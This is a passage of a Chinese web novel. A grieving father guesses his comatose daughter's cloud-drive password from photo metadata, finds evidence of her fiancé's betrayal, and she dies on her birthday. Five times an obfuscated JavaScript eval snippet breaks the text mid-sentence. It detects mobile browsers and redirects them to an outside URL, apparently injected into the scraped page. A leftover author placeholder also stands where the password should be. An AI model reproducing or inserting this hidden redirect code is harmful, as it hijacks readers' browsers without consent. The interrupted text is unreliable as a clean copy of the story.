但下一秒，巨大的难题摆在了面前——密码是什么？ 狂喜之后是更深的焦虑。密码会比账号更复杂、更个人化。他们还有机会吗？ 他立刻把这个消息告诉了医院的妻子。两人隔着电话，都能感受到对方剧烈的心跳和沉重的呼吸。 希望的大门似乎推开了一条缝隙，但最关键的锁，还紧紧锁着。 他们必须找到那把钥匙。 而唯一的钥匙，可能就在那个彻底封闭了自我的女儿脑海里。 许母看向许念晞，眼神充满了前所未有的复杂情绪——既有巨大的希望，也有害怕这希望再次破灭的恐惧。 她轻轻抱住女儿，声音哽咽却坚定：“念晞，别怕…爸爸妈妈一定会找到的…一定会让你想起来…” 许念晞依旧安静地靠着，对父母巨大的情绪波动和刚刚发生的、可能决定她命运的突破，毫无所知。 她的世界一片寂静。 只有床头那束小雏菊，安静地绽放着，仿佛一个沉默的见证者。 20. 第 20 章 账号找到了。 但这胜利如同海市蜃楼，近在眼前却又遥不可及。横亘在许父许母面前的，是另一道更坚固、更冰冷的壁垒——密码。 希望带来的短暂亢奋迅速被更深的焦虑取代。许父坐在电脑前，对着那个闪烁光标的密码输入框，感到一阵前所未有的无力。他尝试了所有他能想到的与女儿相关的数字组合：她的生日、他们的结婚纪念日、家里的门牌号、甚至他们夫妻的生日… 错误。错误。错误。 冰冷的红色提示像嘲弄的眼睛，一次次将他击退。 医院里，许母的尝试也同样徒劳。她握着许念晞的手，几乎将能想到的所有可能的词汇都柔声说了一遍：她小时候宠物的名字、她最喜欢的颜色、她第一所学校的名字、她最爱吃的那家甜品店、甚至“妈妈”、“爸爸”… “念晞，密码是不是‘小白’？你以前那只小狗？”“或者是‘蓝色’？你最喜欢蓝色了。”“再试试‘彩虹糖’？记得吗？那家店…”“…” 许念晞一如既往地沉默，眼神空茫。那一次指尖的颤动，如同幻觉，再未出现。持续的无效沟通耗尽了许母的精力，绝望感再次如潮水般涌上，几乎将她淹没。她开始怀疑，那一下颤动或许真的只是自己的过度渴望产生的错觉。 就在两人几乎要再次被绝望吞噬时，许父的手机响了。是陈默。 “叔叔，打扰了。我回去后一直在想这件事，”陈默的声音透过听筒传来，带着一丝谨慎的关切，“突然想起一点可能无关紧要的细节…不知道对你们有没有帮助。” “你说！任何细节都可能有用！”许父像是抓住了救命稻草，急忙说道。 “念晞她…对摄影的光线非常敏感，甚至有点执念。她常说‘光影是时间的密码’。”陈默回忆道，“她还有个小习惯，喜欢用拍照时的时间和经纬度坐标的一部分，作为某些不重要账户的密码…她说那样独一无二，且她自己能记住。我不知道那个云盘…” 时间和经纬度！ 许父的心猛地一跳！这完全是一个全新的、他们从未想过的方向！ “时间…经纬度…”他喃喃自语，大脑飞速运转，“她出事前…最后去的地方是哪里？她最后拍的照片…” 他猛地想起，处理女儿事故时，警方交还的物品里，好像有她的相机！因为女儿重伤，所有心思都在抢救上，那些遗物被他们收起来后就没再动过！ “谢谢你！陈同学！太感谢你了！”许父声音激动得发颤，匆匆挂断电话，几乎是从书房冲向了储物间。 他在一堆杂物中疯狂翻找，终于找到了那个熟悉的相机包。拿出那台已经有些磕碰痕迹的相机时，他的手都在抖。 按下开机键——万幸，还有电！ 他急切地翻看最后的照片。最后几张，拍摄于出事当天。背景是城市边缘的一个湿地公园，夕阳将水面染成金色，景色很美，却透着一股说不出的忧伤和…决绝。照片的EXIF信息清晰显示着拍摄的准确时间：下午5点28分。甚至还有详细的经纬度坐标！ 就是这里！一定就是这里！ 许父抄下时间和坐标，冲回电脑前。他看着那串数字和字母组合，思索着如何转化为密码。念晞会用什么方式组合？只取时间？只取坐标？还是混合？ 他尝试了多种组合：纯时间“1728”，时间加坐标后几位“1728N118E”，坐标简化“N118E32”… 错误。错误。错误。 为什么还是不对？！难道猜错了方向？巨大的失落感再次袭来。 就在他几乎要放弃的时候，目光再次落在女儿最后拍摄的那几张照片上。夕阳，水面，孤独的飞鸟。一种强烈的直觉击中了他——光影是时间的密码。 光！ 他猛地看向拍摄时间：下午5点28分。那是黄昏！是一天中光影最迷人也最易逝的时刻！ 他像是疯魔了一样，在搜索框里输入“黄昏英文”。跳出来结果：“Dusk”。 他又尝试“夕阳英文”：“Sunset”。 一个念头如同闪电般划过他的脑海！他颤抖着手，将时间“1728”与“Dusk”结合，尝试输入：“Dusk1728”。 光标转动。页面加载。 错误。 他几乎要瘫软下去。 不甘心！他红着眼睛，尝试了“Sunset1728”。 错误。 最后，他抱着最后一丝希望，将代表时间的数字与代表地点的坐标最关键部分结合，中间加上了女儿可能使用的符号。他深吸一口气，键入了：“”。（这是一个示例，具体组合可调整） 回车键按下。 时间仿佛在这一刻凝固。许父屏住呼吸，死死盯着屏幕。 页面没有立刻跳转错误提示！ 短暂的延迟后，浏览器进度条开始缓慢移动！ 紧接着，屏幕一闪——登录成功了！ 一个极其简洁、甚至有些过时的个人云盘界面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418945|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 展现在他面前！ “成功了！成功了！！”许父猛地从椅子上跳起来，对着手机那头的妻子，激动得语无伦次，“进去了！我进去了！老婆！找到念晞的树洞了！！” 电话那头，许母瞬间泣不成声，紧紧抱住了毫无反应的女儿，仿佛要将这个天大的消息通过拥抱传递给她。 许父颤抖着手，滚动着云盘里的文件。里面东西不多，有一些旧的文档、几张照片，还有一个命名为“…”的文件夹。他心跳如鼓，鼠标移动，双击点开—— 里面是几段聊天记录的长截图，还有一些音频文件，时间戳都在她出事前不久。 许父点开第一张截图。 只扫了几眼，他的脸色瞬间变得惨白，浑身血液仿佛都凝固了！ 那上面是何宇薛的账号发来的信息，内容露骨而卑劣，一边哄骗着念晞，一边明显在与另一个女人（无疑是苏晚晴）纠缠不清的证据！甚至还有他抱怨家族压力、却又贪恋苏家资源、言语间将念晞置于无比轻贱地位的对话！ 那些文字，像一把把淬毒的匕首，狠狠刺穿了一个父亲的心！ 他终于明白，女儿当时承受的是怎样一种欺骗和背叛！是怎样的绝望，才让她选择了那条不归路！ “畜生！何宇薛你这个畜生！！”许父猛地一拳砸在桌子上，发出痛苦的怒吼，眼泪汹涌而出。 这不是简单的变心，这是一场处心积虑的、冷酷无比的欺骗和玩弄！ 他强忍着滔天的愤怒和心痛，快速浏览着其他文件。那些音频，他甚至没有勇气立刻点开。 证据！这些都是铁证！ 足以撕破何宇薛所有深情的伪装！足以揭露何苏两家的丑恶嘴脸！ 许父迅速将整个文件夹下载、加密、备份。他的手因为愤怒和激动而剧烈颤抖，但动作却异常坚定。 他拿起手机，声音因为极致的情绪而变得异常低沉和冷静： “老婆，我们找到了。念晞…我们的女儿…受委屈了…” “这一次，爸爸就算拼了这条命，也一定要为他们讨个公道！” 他的目光落在屏幕上那些肮脏的文字上，眼中燃烧着从未有过的、近乎毁灭的火焰。 而病房里，许念晞依旧安静地靠在母亲怀里。 她对父亲那边的惊天发现一无所知。 只是，在那束小雏菊的映衬下，她空洞的眼睛里，似乎极其短暂地、掠过一丝无人察觉的微光。 仿佛最深沉的黑暗中，终于投入了一颗火种。 21. 第 21 章 就在许父紧握那些足以掀起惊涛骇浪的证据，开始秘密咨询律师、思考如何反击时，命运似乎又开了一个残酷的玩笑。 许念晞的情况急剧恶化。 或许是长期卧床导致的器官衰竭，或许是神经系统受损引发的连锁反应，又或许是她潜意识里对这个世界最后的、绝望的告别——她的生命体征开始变得不稳定。心率时常莫名加快又骤然减缓，血氧饱和度下降，一度需要借助氧气面罩才能维持呼吸。 医生们进行了紧急会诊，出来的脸色都异常凝重。他们向许父许母坦言，许念晞的身体机能正在全面衰退，就像一栋内部结构早已损坏的大厦，终于开始向外显现坍塌的迹象。她可能…撑不了多久了。 这个消息如同晴天霹雳，将刚刚看到一丝曙光的许父许母再次打入无底深渊。寻找证据、计划复仇…所有这一切在女儿即将消逝的生命面前，都变得苍白无力。他们现在只有一个念头：留住女儿！不惜一切代价！ 医院下达了病危通知书。 气氛瞬间变得无比压抑和紧张。 而何宇薛，仿佛嗅到了这绝望的气息，来得更加频繁了。 他几乎每天都来，每次停留的时间更长。看着许念晞身上连接的越来越多仪器，看着她愈发苍白消瘦、几乎只剩下一把骨头的模样，他脸上的痛苦和自我感动也愈发浓郁。 他不再只是坐在椅子上独白，甚至会不顾许父许母冰冷厌恶的眼神，强行凑到床边，试图去握许念晞的手，对着昏迷（或者说意识彻底游离）的她，一遍遍诉说。 “念晞…怎么会这样…不要吓我…”“坚持住，求你坚持住…我不能失去你…”“都是我的错…如果我能早点…如果我能勇敢一点…”“你看看我，念晞，你看看我好不好？” 他的声音哽咽，表情痛苦万分，仿佛正在经历世间最残忍的酷刑。每一次他的出现，都像是在许父许母鲜血淋漓的心口上又撒了一把盐。他们恨不得立刻将他轰出去，将那些证据摔在他虚伪的脸上，但女儿危在旦夕，他们连与他争吵的力气和心思都没有了，只能麻木地忍受着这份恶心和煎熬。 苏晚晴很快得知了何宇薛几乎长在医院的消息，以及许念晞病危的情况。 她先是暴怒，打电话对何宇薛咆哮，指责他“对一个快死的植物人念念不忘”、“让苏家丢尽了脸”。但何宇薛此刻完全沉浸在自己悲情世界的演绎中，对她的吵闹置若罔闻，甚至直接挂断电话。 苏晚晴何曾受过这种委屈？尤其是来自她视为“所有物”的何宇薛。 盛怒之下，她直接驱车冲到了医院。 她踩着高跟鞋，怒气冲冲地闯进病房，一眼就看到何宇薛正深情款款（在她看来是恶心至极）地守在病床前，而许念晞那个样子，显然已经离死不远。 “何宇薛！”苏晚晴尖利的声音划破了病房里凝重的气氛，“你还要不要脸？守着一个死人在这里演深情？我们苏家的脸都被你丢光了！” 许父许母猛地抬头，眼中喷出愤怒的火焰，却因极致的悲伤和不愿惊扰女儿而强忍着。 何宇薛缓缓抬起头，看向苏晚晴。他的眼睛布满血丝，里面不再是以往的隐忍和敷衍，而是一种近乎疯狂的偏执和冰冷的厌恶。 “出去。”他的声音沙哑，却带着不容置疑的冷硬。 “你叫我出去？”苏晚晴气得浑身发抖，“该出去的是你！跟我回家！立刻！马上！” “我再说一次，出去。”何宇薛站起身，挡在病床前，眼神像看一个陌生人，“这里不欢迎你。” “何宇薛！你别忘了你的身份！你是我苏晚晴的未婚夫！我们马上就要结婚了！”苏晚晴尖叫着，试图去拉他。 “未婚夫？”何宇薛猛地甩开她的手，脸上浮现出一种极其扭曲的冷笑，那笑容里充满了自嘲和疯狂，“结婚？呵…” 他环视着这间充满死亡气息的病房，看着病床上那个因为他而变成如今模样的女孩，再看看眼前这个骄纵跋扈、视人命如草芥的所谓未婚妻，一直以来压抑的罪恶感、痛苦和虚伪，在这一刻仿佛找到了一个宣泄的出口。 他指着病床上的许念晞，对着苏晚晴，一字一句，清晰无比地说道： “你看看她！看看她现在的样子！苏晚晴，我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418946|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 们之间，隔着一条人命！你告诉我，这婚…还怎么结？” 他深吸一口气，仿佛用尽了全身的力气，说出了那句盘旋在心底许久、却从未敢宣之于口的话： “婚礼取消。婚约…作废吧。” 苏晚晴彻底愣住了，仿佛听不懂他在说什么。随即，她像是被点燃的炸药，彻底爆发：“何宇薛！你敢！你为了这个贱人！你竟然敢…” “滚！”何宇薛猛地打断她，声音不大，却充满了极致的厌恶和决绝，“在我叫保安之前，立刻从我眼前消失。否则，我不保证我会做出什么事来。” 他的眼神太过骇人，里面翻滚着苏晚晴从未见过的黑暗和疯狂。她被震慑住了，一时间竟真的感到了害怕。她看着眼前这个陌生的何宇薛，又看看病床上气息奄奄的许念晞和旁边眼神恨不得杀了她的许父许母，一股巨大的羞辱和恐慌涌上心头。 “好！好！何宇薛！你有种！”她脸色铁青，指着何宇薛，声音因为愤怒而扭曲，“你给我等着！我们苏家绝不会放过你！还有你们许家！”她恶狠狠地瞪了许父许母一眼，踩着高跟鞋，狼狈而愤怒地冲出了病房。 病房里重新恢复了死寂。 何宇薛仿佛被抽空了所有力气，踉跄一步，跌坐回椅子上，双手捂住脸，肩膀微微颤抖。不知是在哭，还是在笑。 许父许母冷眼看着这一切。 婚约解除？苏家的报复？ 这些曾经让他们恐惧无比的事情，在女儿即将逝去的生命面前，都变得无足轻重了。 他们甚至没有感到丝毫快意。 只有无尽的悲凉和讽刺。 这个男人的醒悟和决裂，来得太迟，太廉价了。 他用最惨烈的方式“赎罪”，却依旧无法改变他是这一切悲剧根源的事实。 许母只是更紧地握住女儿冰凉的手，泪水无声滑落。 “念晞…你听到了吗…那个男人…他终于遭报应了…”她的声音低得几乎听不见，“可是…这又有什么用呢…” 病床旁的监护仪上，心率曲线微弱地起伏着，像一个即将走到尽头的音符。 22. 第 22 章 医院的墙壁白得刺眼，白得冰冷，像一块巨大的、没有刻字的墓碑。空气里消毒水的味道浓得化不开，沉重地压在每个人的胸口，每一次呼吸都带着铁锈般的滞涩感。 医生从监护室出来，口罩上方的眼神疲惫而沉重。他手里拿着的不是普通的病历夹，而是一份薄薄的、却重逾千斤的文件。 许母下意识地攥紧了丈夫的胳膊，指甲几乎掐进他的肉里。许父僵直地站着，嘴唇抿成一条苍白的直线，目光死死地盯着那份文件，仿佛想用目光将它烧穿。 “许先生，许太太。”医生的声音低沉，带着职业性的克制，却掩不住那一丝无奈，“这是…病危通知书。请你们…有个心理准备。” 病危通知书。 五个字，像五根冰冷的钢钉，狠狠楔入许父许母早已破碎的心脏。 即使早有预感，当这纸判决真正递到面前时，那毁灭性的冲击力依旧几乎将他们当场击垮。 许母的身体晃了一下，许父赶紧扶住她，自己的手却抖得厉害。他接过那张纸，纸张轻飘飘的，在他手里却像烙铁一样滚烫，烫得他灵魂都在颤抖。 上面的字迹冰冷而客观：“患者许念晞，诊断为重度颅脑损伤后遗症、多器官功能衰竭…病情极度危重，随时可能发生心跳呼吸停止…” 每一个字都像一把刀，凌迟着他们的神经。 “怎么会…怎么会这么快…”许母的声音支离破碎，眼泪早已流干，只剩下干涸的绝望，“早上还好好的…还好好的啊…”所谓的“好好的”，也不过是维持着那具躯壳最低限度的生命迹象而已。 医生沉重地摇了摇头：“患者的身体基础太差了，长期意识丧失导致各系统功能都在持续恶化…这次出现的多器官衰竭是…是终末期的表现。我们已经用了所有能用的办法…很抱歉。” 所有的办法…许父脑海里瞬间闪过那些被苏家暗中操控的、“保守”的、旨在让她“安静”而非“恢复”的治疗方案。一股混着巨大悲愤的恶心感涌上喉头，让他几乎窒息。 就在这时，那个阴魂不散的身影又出现了。 何宇薛显然也得到了消息，脸色比以往任何时候都要苍白，眼底是某种近乎癫狂的赤红。他几乎是冲过来的，看到许父手中的病危通知书时，整个人像被抽掉了脊梁骨，猛地靠在墙上，才勉强支撑住没有倒下。 “念晞…”他喃喃着，声音嘶哑得不成样子，“不会的…她不会…” 他猛地看向医生，像是抓住最后一根稻草：“医生！救她！无论用什么办法！花多少钱都可以！一定要救她！” 医生看着他，眼神复杂。这个男人最近的频繁出现和怪异表现，医护人员都看在眼里。此刻他脸上的痛苦看起来无比真实，却只让知情人感到一种荒谬的讽刺。 “何先生，我们已经尽力了。现在…真的只能看患者自己的造化了。”医生叹了口气，摇摇头离开了。 何宇薛像是无法接受这个答案，他跌跌撞撞地就想往监护室里冲。 “站住！”许父猛地挡在他面前，声音是从未有过的冰冷和强硬，他扬了扬手中的病危通知书，纸页因他的颤抖而簌簌作响，“你还想进去干什么？啊？再去恶心她一次？再去表演你的情深似海？” 何宇薛被喝止在原地，脸上血色尽失，嘴唇哆嗦着：“叔叔…我只是想看看她…我…” “看看她？”许母猛地抬起头，通红的眼睛里迸发出积压了太久的恨意，“你看看她现在的样子！何宇薛！你看看这张纸！这就是你们何家！苏家！还有你！联手把她逼成的样子！她现在连自己是谁都不记得了！连爸爸妈妈都不认识了！她就要被你们彻底逼死了！你现在这副样子做给谁看？！” “我…”何宇薛被骂得哑口无言，巨大的罪恶感和恐惧将他吞没，他痛苦地抱住头，“不是的…我不想这样的…我爱她啊…” “爱？”这叫□□啊？爱别人也是爱吗？何宇薛你这个爱是什么爱啊，你对我女儿尊重过吗？她生病你在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418947|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哪？她生日你又在哪？要是还有一次我见到你不把你舌头割了我不姓许。许父猛地将那张病危通知书拍在他旁边的墙上，发出啪的一声脆响，“你的爱就是欺骗她，背叛她，在她最需要你的时候抛弃她，然后眼睁睁看着你的家族把她弄成现在这副人不人鬼不鬼的样子！你的爱就是在她快死的时候，一次又一次地跑来提醒她，她这条命是怎么没的吗？！” “你的爱，真他妈让人恶心！”许父几乎是吼出了这句话，额头上青筋暴起。 何宇薛被吼得连连后退，背脊重重撞在冰冷的墙壁上，避无可避。那些尖锐的指责像无数根针，将他虚伪的外壳刺得千疮百孔，露出里面那个卑劣而懦弱的灵魂。他看着那份几乎贴在他脸旁的病危通知书，上面“许念晞”三个字像烧红的烙铁，烫得他眼睛剧痛。 “滚。”许父指着走廊尽头，声音因极致的愤怒和悲伤而低沉可怖，“在她最后的时间里，别让她再感觉到你的恶心。否则，我不知道我会做出什么事来。” 何宇薛看着许父眼中那毫不掩饰的、近乎同归于尽的恨意，又看向监护室那扇紧闭的门，仿佛能透过门看到那个正在生死线上挣扎、却连“死亡”意味着什么都不知道的女孩。 他终于再也无法站立，顺着墙壁滑坐到地上，将脸深深埋入掌心，肩膀剧烈地颤抖起来，发出压抑的、如同困兽般的呜咽。 这一次，他的痛苦里，似乎终于少了那些自我感动，多了几分真实的、绝望的…恐惧与悔恨。 但一切都太迟了。 许父不再看他，搀扶着几乎虚脱的妻子，转身面对着那扇沉重的、代表着生死相隔的门。 他们的背影佝偻而绝望，像两棵被狂风暴雨彻底摧垮的老树。 手里那张轻飘飘的纸，是他们女儿正在逝去的生命，也是一个被遗忘的、无声的终局。 监护仪规律的滴答声从门缝里隐约传来，一声声，敲打在死寂的走廊上。 像是生命最后的倒计时。 23. 第 23 章 死亡是有声音的。 它不是寂静，而是监护仪上那一声声规律到令人心慌的“滴——滴——”。它是有画面的，是屏幕上那些曲折跳跃、却趋势不断向下滑落的冰冷线条和数字。它是有味道的，是浓郁消毒水也掩盖不住的、从生命最深处透出的衰败气息。 许念晞躺在层层医疗器械的包围中，像一具被精密仪器勉强挽留于此世的脆弱躯壳。她的呼吸极其微弱，全靠氧气面罩下急促而浅薄的白雾来证明仍在继续。皮肤是透明的苍白，几乎与身下的床单融为一体，青紫色的血管在薄薄的皮肤下清晰可见，如同即将枯萎的叶脉。 她离死亡，只有一步之遥。 那一步，薄如蝉翼，却隔着一个活生生的世界。 许父许母穿着无菌服，守在床边。他们不敢触碰她，凡事碰到她，那微弱的生命之火就会彻底熄灭。他们只能看着，眼睁睁地看着，看着他们的女儿，他们曾经笑靥如花、充满生机的女儿，如何一点点被无形的力量拉向深渊。 许母的眼泪已经流干了，只是张着嘴，发出无声的哀嚎，每一次吸气都像是濒死者的挣扎。许父紧紧握着她的手，另一只手死死按着自己的胸口，那里面的心脏仿佛也被那监护仪的滴答声同步，每一次跳动都带着撕裂般的剧痛。 医生和护士悄无声息地进出，调整着仪器参数，注射着强心针和升压药。他们的表情凝重而无奈，每一次用药后的短暂平稳，都像是从死神手里偷来的片刻喘息，短暂得令人绝望。 病房外，何宇薛像一尊被遗弃的石雕，瘫坐在走廊冰冷的地板上。他听得到里面仪器声音的任何细微变化，听得到医护人员压低的、急促的交谈。每一次门开合，他都会像受惊的动物般猛地抬头，眼中充满了希冀和恐惧交织的疯狂光芒。 但他不敢再进去。 许父那双赤红的、充满毁灭意味的眼睛，和那句“别让她再感觉到你的恶心”，像最锋利的冰锥，将他钉死在这份无望的等待和忏悔里。死渣男，滚出去！ 他终于清晰地认识到，他那些自我感动的痛苦和迟来的深情，在许念晞正在消逝的生命面前，是多么的可笑和卑劣。他不是来陪伴的，他是来玷污她最后时刻的。他现在唯一能“赎罪”的方式，就是滚远一点，不要再出现在她面前。 这个认知像毒液一样腐蚀着他的五脏六腑。他蜷缩在那里，指甲无意识地抠刮着地面，发出刺耳的噪音。他脑海里不受控制地闪过许念晞过去的模样——笑起来眼睛弯弯的，拍照时认真的侧脸，生气时微微嘟起的嘴…那些画面鲜活明亮，却与他、与眼前这场惨剧毫无关系。 是他亲手掐灭了那束光。 而现在，那束光即将彻底熄灭。 监护仪上的心率数字突然毫无征兆地开始往下掉。 80…75…68…10 刺耳的警报声猛地响起！尖锐得几乎要刺破耳膜！ “医生！医生！”许母发出凄厉的尖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418948|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 叫，猛地扑到床边，却又不敢触碰。 许父眼前一黑，几乎晕厥，他死死抓住床栏，指甲劈裂出血也毫无知觉。 门外的何宇薛像被电击般弹起来，脸色瞬间惨白如鬼，瞳孔紧缩，全身的血液仿佛都凝固了！ 医护人员瞬间冲了进来，气氛紧张到爆炸。 “室颤了！准备除颤！” “肾上腺素1mg静推！” “家属请先出去！” 混乱中，许父许母被护士半劝半请地扶出病房。他们瘫软在走廊的长椅上，互相依靠着，像两片在狂风中凋零的落叶，连哭泣的力气都没有了。 何宇薛僵在原地，看着那扇再次紧闭的门，听着里面传来的紧急抢救的声音和仪器混乱的鸣响，他像被钉在了死亡的审判席上，浑身冰冷，无法动弹。 那一步之遥。 生与死之间，原来真的只有这么一步。 而他，就是那个亲手将许念晞推过这条线的人。 他现在连祈求她活下来的资格都没有。 他只能在这里，像一个无关紧要的旁观者，等待着一个他自己都无法承受的结局。 时间一分一秒地流逝，每一秒都像一个世纪那么漫长。 抢救还在继续。 那一步，她迈过去了吗？ 还是…依然悬在那绝望的边缘？ 没有人知道。 只有死亡冰冷的呼吸，吹拂在每个人的脖颈上。 24. 第 24 章 最后的生日 抢救暂时将许念晞从死亡边缘拉了回来。 但所有人都知道，这只是暂时的。她的各项生命指标依旧低得可怕，像风中残烛，下一次的熄灭可能就在瞬息之间。医生私下里对许父许母坦言，要做好最坏的准备，也许…就是这几天了。 绝望像最沉重的铅块，压在每个人的心头。 许母在极致的悲伤中，忽然想起一件事。她颤抖地翻看着日历，眼泪再次无声地涌出——明天，就是念晞的生日了。 二十五岁生日也是最后一天生日。 一个本该充满欢笑、祝福和未来的年纪。 可现在… 许父看着妻子悲痛欲绝的脸，又看向监护室里那个对时间、对生日毫无知觉的女儿，一个念头在他心中疯狂滋生——他不能让女儿的最后一个生日，就在这冰冷的仪器和绝望的等待中无声无息地度过！绝不！ 他找到了主治医生，几乎是哀求着，提出了一个近乎不可能的请求：他希望能在监护室里，为女儿过一个最简单的生日。不需要蛋糕，不需要礼物，甚至不需要她有任何反应，只是他们陪着她，告诉她，爸爸妈妈还记得她的生日。 医生看着这位瞬间苍老了几十岁的父亲，看着他眼中那近乎偏执的、最后的微光，最终，沉重地点了点头。“时间不能长，绝对不能打扰到她，她现在非常脆弱。” “谢谢！谢谢医生！”许父连声道谢，仿佛得到了天大的恩赐。 第二天，许父许母仔细地消毒，换上了无菌服。许父手里没有拿蛋糕，而是捧着一个小小的、播放着柔和音乐的旧收音机，还有一本极其陈旧的相册。许母则拿着一块干净温热的湿毛巾。 他们走到床边。许念晞依旧昏迷着，呼吸微弱，依靠着仪器维持生命。 许母强忍着巨大的悲痛，用湿毛巾极其轻柔地、一点点擦拭着女儿的脸庞和手指，仿佛在为她进行一场神圣的洁面礼。“念晞…我的宝贝女儿…”她的声音哽咽得几乎不成调，“今天…今天是你生日啊…妈妈给你擦擦干净…我们念晞…要漂漂亮亮的…” 许父打开那本旧相册，翻到第一页。那是一张褪色的彩色照片，一个皱巴巴的小婴儿被裹在襁褓里。“念晞，你看…这是你刚出生的时候，红扑扑的，像个小猴子…”他的手指颤抖地抚过照片，声音沙哑却无比温柔，“你妈妈当时疼了一天一夜，才把你生下来…看到你第一眼，我们就觉得，什么都值了…” 他一页页地翻着，指着照片，诉说着那些被时光尘封的记忆。“这张是你周岁抓周，你抓了一支笔，你爷爷可高兴了，说我们家要出个女状元…”“这是你第一次上幼儿园，哭得鼻涕泡泡都出来了，抱着妈妈的腿不肯放手…”“这是你小学毕业，戴着红领巾，笑得傻乎乎的…”“这是你考上大学，在我们家楼下拍的，那时候多青春，多好看啊…” 照片里的女孩，从牙牙学语到亭亭玉立，笑容灿烂，眼神明亮，拥有着触手可及的未来。而病床上的她，苍白，枯槁，生命正在飞速流逝。 巨大的反差像一把钝刀，反复切割着父母的心。他们的眼泪滴落在相册的塑料膜上，晕开一片模糊。 许父按下收音机的播放键。极其轻柔、温暖的纯音乐流淌出来，是那首许念晞小时候，许母常常哼唱哄她入睡的摇篮曲的旋律。 没有生日歌。生日歌太欢快，太残忍。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16418949|184736||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 念晞…生日快乐…”许母俯下身，用额头轻轻贴着女儿冰凉的额头，泣不成声，“对不起…妈妈爸爸…没有保护好你…让你受了这么多苦…” “宝贝女儿，”许父的声音也彻底破碎，“如果…如果太累了…就…就睡吧…爸爸妈妈在这里…永远爱你…永远…” 他们的低语和哭泣，混合着轻柔的音乐，萦绕在充满药水味的冰冷空气中。 这是一场没有寿星参与的生日。一场注定没有庆祝的庆祝。一场生与死交织的仪式。 门外，何宇薛透过玻璃窗，看到了里面的一切。他听到了那隐约的音乐，看到了那本相册，看到了许父许母崩溃却充满爱意的姿态。 他像被抽空了所有力气，顺着墙壁滑落，蜷缩在角落。他用手死死捂住嘴，阻止自己发出野兽般的哀鸣，眼泪却汹涌而出，灼烧着他的脸颊。 他曾幻想过无数次为她庆祝生日的场景，盛大的，浪漫的…唯独没有想过，会是这样。 而他，连出现在这场最后生日仪式门口的资格，都没有。他唯一能做的，就是像一个阴暗角落里的老鼠，偷窥着这份与他无关、却由他亲手摧毁的深情与绝望。 监护仪上的数字，依旧微弱地跳动着。 音乐轻轻流淌。 照片上的笑容，依旧灿烂。 许念晞安静地躺着，对这一切毫无所知。 她的意识，或许正漂浮在一个没有痛苦、没有记忆、也没有时间的永恒之地。 一步之外，是永恒的黑暗。 而这一步之内，父母用尽了最后的力气，为她点亮了一盏微弱到几乎看不见的生日烛光。 尽管，她可能永远也看不见了。 25. 第 25 章 摇篮曲的旋律还在冰冷空气中微弱地流淌，像一双无形的手，试图挽留什么。 许母的额头还轻轻贴着女儿冰凉的皮肤，许父的手还颤抖地抚摸着相册上女儿灿烂的笑脸。 就在那一刻。 就在那首她来到人世听的第一支旋律里，就在父母极致悲痛却温柔的爱意包裹中—— 监护仪上，那条代表心率的绿色曲线，毫无征兆地、决绝地，拉成了一条笔直、冰冷的水平线。 “滴————————” 尖锐、悠长、刺破耳膜的警报声，猛地取代了柔和的音乐，像一把冰冷的利刃，瞬间捅穿了所有的温情和奢望！ 那盏代表心跳的小灯，熄灭了。 屏幕上的数字，归零。 时间，仿佛在这一刻被硬生生掐断，这个世界难道就不能让我好好的珍惜一下自己的女儿嘛？ 